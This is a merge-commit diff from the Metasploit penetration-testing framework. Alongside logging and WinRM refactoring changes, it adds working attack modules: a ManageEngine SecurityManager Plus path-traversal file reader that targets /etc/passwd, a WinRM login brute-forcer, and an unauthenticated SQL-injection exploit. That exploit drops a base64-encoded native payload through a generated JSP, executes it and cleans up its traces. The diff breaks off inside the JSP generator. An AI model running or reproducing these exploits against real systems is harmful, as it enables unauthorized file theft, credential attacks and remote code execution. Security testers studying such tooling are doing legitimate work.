Merge branch 'rapid7' into bug/wrong-file_changed-argument
commit
2f41452879
|
@ -588,8 +588,8 @@ class DBManager
|
|||
where_v << [ xv, xv ]
|
||||
when 'os','platform'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( module_targets.name ILIKE ? ) '
|
||||
where_v << [ xv ]
|
||||
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
|
||||
where_v << [ xv, xv ]
|
||||
when 'port'
|
||||
# TODO
|
||||
when 'type'
|
||||
|
|
|
@ -8,10 +8,8 @@ require 'rex/proto/ntlm/exceptions'
|
|||
|
||||
module Msf
|
||||
module Exploit::Remote::WinRM
|
||||
|
||||
include Exploit::Remote::NTLM::Client
|
||||
include Exploit::Remote::HttpClient
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
|
@ -19,20 +17,15 @@ module Exploit::Remote::WinRM
|
|||
NTLM_CONST ||= Rex::Proto::NTLM::Constants
|
||||
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
|
||||
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(5985),
|
||||
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentification', 'WORKSTATION']),
|
||||
OptString.new('URI', [ true, "The URI of the WinRM service", "/wsman" ]),
|
||||
OptString.new('USERNAME', [ false, 'A specific username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ])
|
||||
OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ]),
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -45,18 +38,15 @@ module Exploit::Remote::WinRM
|
|||
'uri' => datastore['URI'],
|
||||
'data' => Rex::Text.rand_text_alpha(8)
|
||||
}
|
||||
|
||||
c = connect(opts)
|
||||
to = opts[:timeout] || timeout
|
||||
c = connect(opts)
|
||||
to = opts[:timeout] || timeout
|
||||
ctype = "application/soap+xml;charset=UTF-8"
|
||||
|
||||
resp, c = send_request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
'uri' => opts['uri'],
|
||||
'method' => 'POST',
|
||||
'ctype' => ctype,
|
||||
'data' => opts['data']
|
||||
'ctype' => ctype,
|
||||
'data' => opts['data']
|
||||
}), to)
|
||||
|
||||
return resp
|
||||
end
|
||||
|
||||
|
@ -71,18 +61,15 @@ module Exploit::Remote::WinRM
|
|||
|
||||
def winrm_run_cmd(cmd, timeout=20)
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
|
||||
|
||||
if resp.code == 401
|
||||
print_error "Login failure! Recheck supplied credentials."
|
||||
return resp .code
|
||||
end
|
||||
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
retval == resp.code || 0
|
||||
return retval
|
||||
end
|
||||
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
|
@ -90,7 +77,6 @@ module Exploit::Remote::WinRM
|
|||
streams = winrm_get_cmd_streams(resp)
|
||||
resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout)
|
||||
resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id))
|
||||
|
||||
return streams
|
||||
end
|
||||
|
||||
|
@ -98,7 +84,6 @@ module Exploit::Remote::WinRM
|
|||
action = winrm_uri_action("wql")
|
||||
contents = winrm_header(action) + winrm_wql_body(wql)
|
||||
msg = winrm_envelope(contents)
|
||||
|
||||
return msg
|
||||
end
|
||||
|
||||
|
@ -108,7 +93,6 @@ module Exploit::Remote::WinRM
|
|||
header_data = action + options
|
||||
contents = winrm_header(header_data) + winrm_open_shell_body
|
||||
msg = winrm_envelope(contents)
|
||||
|
||||
return msg
|
||||
end
|
||||
|
||||
|
@ -119,7 +103,6 @@ module Exploit::Remote::WinRM
|
|||
header_data = action + options + selectors
|
||||
contents = winrm_header(header_data) + winrm_cmd_body(cmd)
|
||||
msg = winrm_envelope(contents)
|
||||
|
||||
return msg
|
||||
end
|
||||
|
||||
|
@ -129,7 +112,6 @@ module Exploit::Remote::WinRM
|
|||
header_data = action + selectors
|
||||
contents = winrm_header(header_data) + winrm_cmd_recv_body(cmd_id)
|
||||
msg = winrm_envelope(contents)
|
||||
|
||||
return msg
|
||||
end
|
||||
|
||||
|
@ -139,7 +121,6 @@ module Exploit::Remote::WinRM
|
|||
header_data = action + selectors
|
||||
contents = winrm_header(header_data) + winrm_terminate_cmd_body(cmd_id)
|
||||
msg = winrm_envelope(contents)
|
||||
|
||||
return msg
|
||||
end
|
||||
|
||||
|
@ -149,7 +130,6 @@ module Exploit::Remote::WinRM
|
|||
header_data = action + selectors
|
||||
contents = winrm_header(header_data) + winrm_empty_body
|
||||
msg = winrm_envelope(contents)
|
||||
|
||||
return msg
|
||||
end
|
||||
|
||||
|
@ -159,28 +139,23 @@ module Exploit::Remote::WinRM
|
|||
rows =[]
|
||||
rxml = REXML::Document.new(xml).root
|
||||
items = rxml.elements["///w:Items"]
|
||||
|
||||
items.elements.to_a("///w:XmlFragment").each do |node|
|
||||
row_data = []
|
||||
|
||||
node.elements.to_a.each do |sub_node|
|
||||
columns << sub_node.name
|
||||
row_data << sub_node.text
|
||||
end
|
||||
|
||||
rows << row_data
|
||||
end
|
||||
|
||||
columns.uniq!
|
||||
response_data = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{datastore['WQL']} (#{rhost})",
|
||||
'Indent' => 1,
|
||||
'Columns' => columns.uniq!
|
||||
'Columns' => columns
|
||||
)
|
||||
|
||||
rows.each do |row|
|
||||
response_data << row
|
||||
end
|
||||
|
||||
return response_data
|
||||
end
|
||||
|
||||
|
@ -197,17 +172,14 @@ module Exploit::Remote::WinRM
|
|||
def winrm_get_cmd_streams(response)
|
||||
streams = {
|
||||
'stdout' => '',
|
||||
'stderr' => '',
|
||||
'stderr' => '',
|
||||
}
|
||||
|
||||
xml = response.body
|
||||
rxml = REXML::Document.new(xml).root
|
||||
|
||||
rxml.elements.to_a("//rsp:Stream").each do |node|
|
||||
next if node.text.nil?
|
||||
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
|
||||
end
|
||||
|
||||
return streams
|
||||
end
|
||||
|
||||
|
@ -222,25 +194,20 @@ module Exploit::Remote::WinRM
|
|||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
|
||||
ntlm_options =
|
||||
{
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = datastore['DOMAIN']
|
||||
ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags))
|
||||
|
||||
to = opts[:timeout] || timeout
|
||||
|
||||
begin
|
||||
c = connect(opts)
|
||||
ctype = "application/soap+xml;charset=UTF-8"
|
||||
|
@ -251,14 +218,11 @@ module Exploit::Remote::WinRM
|
|||
'ctype' => ctype,
|
||||
'headers' => { 'Authorization' => ntlm_message_1},
|
||||
'data' => opts['data']
|
||||
}))
|
||||
|
||||
}))
|
||||
resp = c.send_recv(r, to)
|
||||
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
# Get the challenge and craft the response
|
||||
|
@ -293,7 +257,6 @@ module Exploit::Remote::WinRM
|
|||
ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'],
|
||||
resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
|
||||
# Send the response
|
||||
r = c.request_cgi(opts.merge({
|
||||
'uri' => opts['uri'],
|
||||
|
@ -302,13 +265,10 @@ module Exploit::Remote::WinRM
|
|||
'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"},
|
||||
'data' => opts['data']
|
||||
}))
|
||||
|
||||
resp = c.send_recv(r, to, true)
|
||||
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return [nil,nil]
|
||||
end
|
||||
|
||||
return [nil,nil] if resp.code == 404
|
||||
return [resp,c]
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
|
@ -324,7 +284,6 @@ module Exploit::Remote::WinRM
|
|||
if rport == 5986 or datastore['SSL']
|
||||
proto = "https"
|
||||
end
|
||||
|
||||
if datastore['VHOST']
|
||||
return "#{proto}://#{datastore ['VHOST']}:#{rport}#{@uri.to_s}"
|
||||
else
|
||||
|
@ -332,17 +291,13 @@ module Exploit::Remote::WinRM
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
private
|
||||
|
||||
def winrm_option_set(options)
|
||||
xml = "<w:OptionSet>"
|
||||
|
||||
options.each do |option_pair|
|
||||
xml << winrm_option(*option_pair)
|
||||
end
|
||||
|
||||
xml << "</w:OptionSet>"
|
||||
return xml
|
||||
end
|
||||
|
@ -353,11 +308,9 @@ module Exploit::Remote::WinRM
|
|||
|
||||
def winrm_selector_set(selectors)
|
||||
xml = "<w:SelectorSet>"
|
||||
|
||||
selectors.each do |selector_pair|
|
||||
xml << winrm_selector(*selector_pair)
|
||||
end
|
||||
|
||||
xml << "</w:SelectorSet>"
|
||||
return xml
|
||||
end
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'digest/md5'
|
||||
require 'digest/sha1'
|
||||
require 'stringio'
|
||||
|
||||
begin
|
||||
|
@ -812,6 +813,20 @@ module Text
|
|||
Digest::MD5.hexdigest(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Raw SHA1 digest of the supplied string
|
||||
#
|
||||
def self.sha1_raw(str)
|
||||
Digest::SHA1.digest(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Hexidecimal SHA1 digest of the supplied string
|
||||
#
|
||||
def self.sha1(str)
|
||||
Digest::SHA1.hexdigest(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Convert hex-encoded characters to literals.
|
||||
# Example: "AA\\x42CC" becomes "AABCC"
|
||||
|
|
|
@ -135,8 +135,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
sunrpc_destroy
|
||||
|
||||
rescue ::Rex::Proto::SunRPC::RPCTimeout
|
||||
print_status 'Warning: ' + $!
|
||||
print_status 'Exploit may or may not have succeeded.'
|
||||
print_warning 'Warning: ' + $!
|
||||
print_warning 'Exploit may or may not have succeeded.'
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal flaw found in ManageEngine
|
||||
SecurityManager Plus 5.5 or less. When handling a file download request,
|
||||
the DownloadServlet class fails to properly check the 'f' parameter, which
|
||||
can be abused to read any file outside the virtual directory.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '86563'],
|
||||
['EDB', '22092']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'blkhtc0rp', #Original
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Oct 19 2012"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 6262]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
|
||||
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
base = target_uri.path
|
||||
base << '/' if base[-1,1] != '/'
|
||||
|
||||
peer = "#{ip}:#{rport}"
|
||||
fname = datastore['FILE']
|
||||
|
||||
print_status("#{peer} - Reading '#{datastore['FILE']}'")
|
||||
traverse = "../" * datastore['DEPTH']
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "#{base}store",
|
||||
'vars_get' => {
|
||||
'f' => "#{traverse}#{datastore['FILE']}"
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
if res and res.code == 500 and res.body =~ /Error report/
|
||||
print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
|
||||
print_error("\t1. File does not exist.")
|
||||
print_error("\t2. The server does not have any patches deployed.")
|
||||
print_error("\t3. Your 'DEPTH' option isn't deep enough.")
|
||||
print_error("\t4. Some kind of permission issues.")
|
||||
|
||||
elsif res and res.code == 200
|
||||
data = res.body
|
||||
p = store_loot(
|
||||
'manageengine.securitymanager',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
data,
|
||||
fname
|
||||
)
|
||||
|
||||
vprint_line(data)
|
||||
print_good("#{peer} - #{fname} stored as '#{p}'")
|
||||
|
||||
else
|
||||
print_error("#{peer} - Fail to obtain file for some unknown reason")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -101,6 +101,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
conf[:os_sp] = res['sp'] if res['sp']
|
||||
conf[:os_lang] = res['lang'] if res['os'] =~ /Windows/
|
||||
conf[:SMBName] = simple.client.default_name if simple.client.default_name
|
||||
conf[:SMBDomain] = simple.client.default_domain if simple.client.default_domain
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
|
|
|
@ -52,9 +52,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:name => 'winrm',
|
||||
:info => desc
|
||||
)
|
||||
print_good "Negotiate protocol supported" if methods.include? "Negotiate"
|
||||
print_good "Kerberos protocol supported" if methods.include? "Kerberos"
|
||||
print_good "Basic protocol supported" if methods.include? "Basic"
|
||||
print_good "#{ip}:#{rport}: Negotiate protocol supported" if methods.include? "Negotiate"
|
||||
print_good "#{ip}:#{rport}: Kerberos protocol supported" if methods.include? "Kerberos"
|
||||
print_good "#{ip}:#{rport}: Basic protocol supported" if methods.include? "Basic"
|
||||
else
|
||||
print_error "#{ip}:#{rport} Does not appear to be a WinRM server"
|
||||
end
|
||||
|
|
|
@ -0,0 +1,79 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WinRM
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'WinRM Login Utility',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to a WinRM service. It currently
|
||||
works only if the remote end allows Negotiate(NTLM) authentication.
|
||||
Kerberos is not currently supported.
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
|
||||
return
|
||||
end
|
||||
each_user_pass do |user, pass|
|
||||
resp,c = send_request_ntlm(test_request)
|
||||
if resp.nil?
|
||||
print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out"
|
||||
return
|
||||
elsif resp.code == 200
|
||||
cred_hash = {
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => 'winrm',
|
||||
:pass => pass,
|
||||
:user => user,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
}
|
||||
report_auth_info(cred_hash)
|
||||
print_good "#{ip}:#{rport}: Valid credential found: #{user}:#{pass}"
|
||||
elsif resp.code == 401
|
||||
print_error "#{ip}:#{rport}: Login failed: #{user}:#{pass}"
|
||||
else
|
||||
print_error "Recieved unexpected Response Code: #{resp.code}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def test_request
|
||||
data = winrm_wql_msg("Select Name,Status from Win32_Service")
|
||||
end
|
||||
|
||||
end
|
|
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if(reps < 30)
|
||||
print_status("WARNING: This server did not reply to all of our requests")
|
||||
print_warning("WARNING: This server did not reply to all of our requests")
|
||||
end
|
||||
|
||||
if(random)
|
||||
|
|
|
@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if(reps < 30)
|
||||
print_status("WARNING: This server did not reply to all of our requests")
|
||||
print_warning("WARNING: This server did not reply to all of our requests")
|
||||
end
|
||||
|
||||
if(random)
|
||||
|
|
|
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_new_session(client)
|
||||
print_warning("Deleting temp.php")
|
||||
if client.type == "meterpreter"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
client.fs.file.rm("temp.php")
|
||||
|
|
|
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = client.fs.file.search(nil, "currencies.php", true, -1)
|
||||
res.each do |hit|
|
||||
filename = "#{hit['path']}/#{hit['name']}"
|
||||
print_status("#{peer} - Restoring #{filename}")
|
||||
print_warning("#{peer} - Restoring #{filename}")
|
||||
client.fs.file.rm(filename)
|
||||
fd = client.fs.file.new(filename, "wb")
|
||||
fd.write(currencies_php)
|
||||
|
|
|
@ -222,10 +222,10 @@ EOT
|
|||
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
|
||||
res = invoke_bshscript(delete_script, @pkg)
|
||||
if !res
|
||||
print_error("WARNING: Unable to remove WAR [No Response]")
|
||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||
end
|
||||
if (res.code < 200 || res.code >= 300)
|
||||
print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
handler
|
||||
|
@ -307,7 +307,7 @@ EOT
|
|||
if (res.code < 200 || res.code >= 300)
|
||||
case res.code
|
||||
when 401
|
||||
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
|
||||
|
|
|
@ -248,9 +248,9 @@ EOT
|
|||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_error("WARNING: Unable to remove WAR [No Response]")
|
||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -211,7 +211,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (res.code < 200 or res.code >= 300)
|
||||
case res.code
|
||||
when 401
|
||||
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
@ -291,12 +291,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}, 30)
|
||||
if (! res)
|
||||
print_error("WARNING: Undeployment failed on #{app_base} [No Response]")
|
||||
print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
|
||||
elsif (res.code == 500 and datastore['VERB'] == 'POST')
|
||||
# POST requests result in a http 500 error, but the payload is removed..."
|
||||
print_status("WARNING: Undeployment might have failed (unlikely)")
|
||||
print_warning("WARNING: Undeployment might have failed (unlikely)")
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
|
||||
print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
handler
|
||||
|
|
|
@ -0,0 +1,272 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection found in ManageEngine Security Manager Plus
|
||||
advanced search page, which results in remote code execution under the context of
|
||||
SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
|
||||
to exploit this vulnerability.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'xistence <xistence[at]0x90.nl>', # Discovery & Metasploit module
|
||||
'sinn3r', # Improved Metasploit module
|
||||
'egypt' # Improved Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB','22094'],
|
||||
['BID', '56138']
|
||||
],
|
||||
'Platform' => ['win', 'linux'],
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {}],
|
||||
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
|
||||
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Oct 18 2012"))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 6262])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
res = sqli_exec(Rex::Text.rand_text_alpha(1))
|
||||
|
||||
if res and res.body =~ /Error during search/
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def pick_target
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
rnd_num = Rex::Text.rand_text_numeric(1)
|
||||
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
|
||||
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
|
||||
|
||||
@clean_ups << outpath
|
||||
|
||||
sqli = "#{rnd_num})) union select @@version,"
|
||||
sqli << (2..28).map {|e| e} * ","
|
||||
sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
|
||||
sqli_exec(sqli)
|
||||
|
||||
res = send_request_raw({'uri'=>"/#{rnd_fname}"})
|
||||
|
||||
# What @@version returns:
|
||||
# Linux = 5.0.36-enterprise
|
||||
# Windows = 5.0.36-enterprise-nt
|
||||
|
||||
if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
|
||||
print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
|
||||
return targets[1] # Windows target
|
||||
elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
|
||||
print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
|
||||
return targets[2]
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# We're in SecurityManager/bin at this point
|
||||
#
|
||||
def on_new_session(cli)
|
||||
if target['Platform'] == 'linux'
|
||||
print_warning("Malicious executable is removed during payload execution")
|
||||
end
|
||||
|
||||
if cli.type == 'meterpreter'
|
||||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
@clean_ups.each { |f|
|
||||
base = File.basename(f)
|
||||
f = "../webapps/SecurityManager/#{base}"
|
||||
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
|
||||
|
||||
begin
|
||||
if cli.type == 'meterpreter'
|
||||
cli.fs.file.rm(f)
|
||||
else
|
||||
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
|
||||
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
|
||||
cli.shell_command_token("#{del_cmd} \"#{f}\"")
|
||||
end
|
||||
|
||||
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
|
||||
rescue ::Exception => e
|
||||
print_error("Unable to delete: #{e.message}")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Embeds our executable in JSP
|
||||
#
|
||||
def generate_jsp_payload
|
||||
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
|
||||
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
|
||||
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
|
||||
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
||||
|
||||
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
|
||||
if @my_target['Platform'] == 'linux'
|
||||
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
chmod = %Q|
|
||||
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
||||
Thread.sleep(200);
|
||||
|
|
||||
|
||||
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
cleanup = %Q|
|
||||
Thread.sleep(200);
|
||||
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
||||
|
|
||||
else
|
||||
chmod = ''
|
||||
cleanup = ''
|
||||
end
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
|
||||
<%
|
||||
byte[] #{var_raw} = null;
|
||||
BufferedOutputStream #{var_ostream} = null;
|
||||
try {
|
||||
String #{var_buf} = "#{native_payload}";
|
||||
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
#{chmod}
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
#{cleanup}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
